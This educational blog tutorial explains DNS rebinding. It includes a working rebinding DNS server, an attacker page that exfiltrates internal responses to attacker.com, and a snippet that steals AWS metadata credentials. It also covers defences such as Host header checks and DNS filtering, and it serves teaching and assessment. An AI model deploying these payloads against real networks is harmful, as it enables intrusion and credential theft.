Skip to main content
🧠Educationaladvanced6 min read
β€’

DNS Rebinding Explained with Real Demos

Understanding DNS rebinding attacks: how they work, why they're dangerous, and how to demonstrate them in a lab environment.

DNSweb securitySSRFattack techniques

DNS Rebinding Explained with Real Demos

DNS rebinding is a clever attack that bypasses the same-origin policy by manipulating DNS responses. It's used to attack internal services, IoT devices, and cloud metadata endpoints.

Understanding the Attack

The Same-Origin Policy

Browsers enforce the same-origin policy:

  • Page from evil.com cannot read data from internal.company.com
  • Origin = scheme + host + port
  • Protects against unauthorized cross-origin requests

How DNS Rebinding Bypasses This

The trick: Change what a domain name resolves to mid-session.

Timeline:

  1. Victim visits attacker.com
  2. DNS resolves attacker.com β†’ 1.2.3.4 (attacker's server)
  3. Attacker's page loads JavaScript
  4. TTL expires, DNS now resolves attacker.com β†’ 192.168.1.1 (victim's internal IP)
  5. JavaScript makes request to attacker.com (now pointing internally)
  6. Browser allows itβ€”same origin!

Why It Works

  • Browser caches DNS (but eventually expires)
  • JavaScript can make repeated requests
  • Once DNS changes, "same-origin" requests go to new IP
  • Attacker reads responses from internal services

Attack Scenarios

Scenario 1: Attacking Internal Services

Target: Internal admin panel at 192.168.1.1:8080

Attack Flow:

1. Victim clicks link to malicious.attacker.com
2. First DNS: malicious.attacker.com β†’ attacker-server.com
3. Page loads with JavaScript that:
   - Waits for DNS TTL to expire
   - Makes XHR to malicious.attacker.com:8080
4. Second DNS: malicious.attacker.com β†’ 192.168.1.1
5. Request goes to internal admin panel
6. Response sent to attacker

Scenario 2: Cloud Metadata Attacks

Target: AWS metadata at 169.254.169.254

// After DNS rebinding
fetch('http://malicious.attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(data => {
        // Exfiltrate AWS credentials
        fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
    });

Scenario 3: IoT Device Compromise

Target: Smart home devices, routers, printers

Many IoT devices:

  • Have web interfaces on local network
  • No authentication or weak authentication
  • Trust requests from "local" sources

Lab Setup

DNS Server Configuration

Using dnsmasq:

# Install
sudo apt install dnsmasq

# Configure /etc/dnsmasq.conf
address=/rebind.attacker.com/1.2.3.4

Using custom Python DNS:

#!/usr/bin/env python3
# dns_server.py

from dnslib import DNSRecord, RR, A, QTYPE
from dnslib.server import DNSServer, BaseResolver
import time

class RebindingResolver(BaseResolver):
    def __init__(self):
        self.request_count = {}
        self.first_ip = "1.2.3.4"      # Attacker server
        self.second_ip = "192.168.1.1"  # Target
        
    def resolve(self, request, handler):
        qname = str(request.q.qname)
        
        # Track requests per domain
        self.request_count[qname] = self.request_count.get(qname, 0) + 1
        
        reply = request.reply()
        
        # First request: return attacker IP
        # Subsequent requests: return target IP
        if self.request_count[qname] <= 2:
            ip = self.first_ip
        else:
            ip = self.second_ip
            
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=1))
        return reply

# Start server
resolver = RebindingResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start()

Attacker Web Server

#!/usr/bin/env python3
# attacker_server.py

from flask import Flask, render_template_string

app = Flask(__name__)

PAYLOAD_PAGE = '''
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait...</h1>
    <div id="status"></div>
    
    <script>
        const TARGET_PORT = 8080;
        const POLL_INTERVAL = 1000;
        const MAX_ATTEMPTS = 60;
        
        let attempts = 0;
        
        async function attemptRebind() {
            attempts++;
            document.getElementById('status').innerText = 
                `Attempt ${attempts}/${MAX_ATTEMPTS}`;
            
            try {
                const response = await fetch(
                    `http://${window.location.hostname}:${TARGET_PORT}/`, 
                    { mode: 'cors', credentials: 'include' }
                );
                const data = await response.text();
                
                // Check if we got internal service response
                if (!data.includes('Attacker Server')) {
                    // Success! Exfiltrate data
                    exfiltrateData(data);
                    return;
                }
            } catch (e) {
                // Network error, might be rebinding in progress
            }
            
            if (attempts < MAX_ATTEMPTS) {
                setTimeout(attemptRebind, POLL_INTERVAL);
            } else {
                document.getElementById('status').innerText = 'Failed';
            }
        }
        
        function exfiltrateData(data) {
            document.getElementById('status').innerText = 'Success!';
            
            // Send stolen data to attacker
            fetch('https://attacker.com/collect', {
                method: 'POST',
                body: JSON.stringify({ data: data }),
                headers: { 'Content-Type': 'application/json' }
            });
        }
        
        // Start attack
        setTimeout(attemptRebind, 5000);
    </script>
</body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(PAYLOAD_PAGE)

@app.route('/collect', methods=['POST'])
def collect():
    # Log stolen data
    print(f"Received data: {request.data}")
    return "OK"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Target Internal Service (For Demo)

#!/usr/bin/env python3
# internal_service.py

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return '''
    <html>
    <body>
        <h1>Internal Admin Panel</h1>
        <p>Super secret information here!</p>
        <p>API Key: sk-secret123456</p>
    </body>
    </html>
    '''

if __name__ == '__main__':
    # Only bind to localhost
    app.run(host='127.0.0.1', port=8080)

Advanced Techniques

Bypassing DNS Pinning

Modern browsers try to prevent rebinding with DNS pinning. Bypasses:

Multiple A Records:

attacker.com. 0 IN A 1.2.3.4
attacker.com. 0 IN A 192.168.1.1

Browser might use either, or alternate.

Time-Based: Use very short TTL (0 or 1 second) to force re-resolution.

Singularity of Origin:

Tool that automates DNS rebinding with multiple bypass techniques.

git clone https://github.com/nccgroup/singularity.git
cd singularity
./singularity-server -DNSRebindStrategy=roundrobin

Speeding Up the Attack

Flood DNS Cache:

// Make many requests to flush DNS cache faster
for (let i = 0; i < 1000; i++) {
    fetch(`http://${Math.random()}.${window.location.hostname}/`);
}

WebSocket Rebinding: WebSockets maintain connections, but DNS is re-resolved on reconnection.

Real-World Examples

Case 1: Google Home Exploitation

Researchers demonstrated DNS rebinding against Google Home devices:

  • Access local API
  • Extract configuration
  • Control device functions

Case 2: Router Attacks

Many consumer routers vulnerable:

  • Default credentials
  • Administrative interfaces on local network
  • DNS rebinding provides access from internet

Case 3: Cryptocurrency Wallets

Local wallet interfaces attacked:

  • APIs bound to localhost
  • Assumed safe from remote access
  • DNS rebinding bypasses this assumption

Detection and Prevention

For Developers

1. Validate Host Header:

from flask import Flask, request, abort

@app.before_request
def check_host():
    allowed_hosts = ['localhost', '127.0.0.1', 'internal.company.com']
    if request.host.split(':')[0] not in allowed_hosts:
        abort(403)

2. Require Authentication: Don't assume localhost means trusted.

3. Use HTTPS with Valid Certificates: Rebinding only works with HTTP or self-signed certs.

4. Bind to Specific Interfaces:

# Instead of 0.0.0.0
app.run(host='127.0.0.1')  # Only localhost

For Network Administrators

1. DNS Response Filtering: Block internal IPs from external DNS:

# In DNS firewall
Block responses containing: 
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- 169.254.169.254

2. Network Segmentation: Ensure IoT devices can't reach sensitive services.

3. Monitor for Suspicious DNS: Very short TTLs are suspicious.

Browser Protections

Modern browsers implement:

  • DNS pinning (cache longer than TTL)
  • Private network access restrictions (in progress)
  • Connection coalescing

But bypasses exist for many protections.

Testing Checklist

When assessing for DNS rebinding:

  • Internal services binding to 0.0.0.0?
  • Host header validation implemented?
  • Authentication required even for "local" access?
  • HTTPS enforced?
  • DNS filtering in place?
  • Network segmentation effective?

Tools

Singularity: Complete DNS rebinding attack platform Rebinder: Simple DNS rebinding tool Custom Scripts: As shown in this article


Need help assessing your DNS rebinding exposure? Contact us: m1k3@msquarellc.net

Found this helpful? Share it:

Need Help With This?

Have questions about implementing these security practices? Let's discuss your specific needs.

Get in Touch

More in Educational

Explore more articles in this category.

Browse 🧠 Educational

Related Articles